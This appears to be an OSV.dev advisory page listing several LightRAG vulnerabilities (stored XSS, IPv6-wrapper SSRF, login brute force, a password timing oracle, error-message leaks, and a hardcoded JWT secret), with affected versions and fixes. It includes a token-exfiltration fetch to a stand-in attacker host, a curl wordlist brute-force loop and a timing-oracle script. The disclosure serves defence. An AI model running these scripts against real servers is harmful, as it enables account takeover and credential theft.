            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Oct 29, 2025

1.4.9.4 patch

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
